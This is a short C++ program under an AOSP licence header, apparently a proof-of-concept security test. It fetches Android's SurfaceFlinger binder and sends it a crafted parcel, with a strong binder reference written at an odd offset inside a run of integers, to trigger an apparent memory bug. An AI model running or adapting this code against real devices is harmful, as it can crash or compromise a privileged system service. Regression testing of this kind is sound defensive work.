/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IPCThreadState.h>
#include <binder/IServiceManager.h>

constexpr uint8_t kCount = 128;
constexpr size_t kPosition = 104;

using namespace android;

int main() {
    sp < IServiceManager > sm = defaultServiceManager();
    if (!sm) {
        return EXIT_FAILURE;
    }
    String16 name(String16("SurfaceFlinger"));
    sp < IBinder > service = sm->checkService(name);
    if (!service) {
        return EXIT_FAILURE;
    }

    uint32_t code = 2, flags = 0;
    Parcel data1, reply1;
    data1.writeInterfaceToken(service->getInterfaceDescriptor());
    service->transact(code, data1, &reply1, flags);
    sp < IBinder > binder = reply1.readStrongBinder();
    if (!binder) {
        return EXIT_FAILURE;
    }

    Parcel data2, reply2;
    data2.writeInterfaceToken(binder->getInterfaceDescriptor());
    for (uint8_t n = 0; n < kCount; ++n) {
        data2.writeInt32(1);
    }
    data2.setDataPosition(kPosition);
    data2.writeStrongBinder(binder);
    binder->transact(code, data2, &reply2, flags);

    return EXIT_SUCCESS;
}
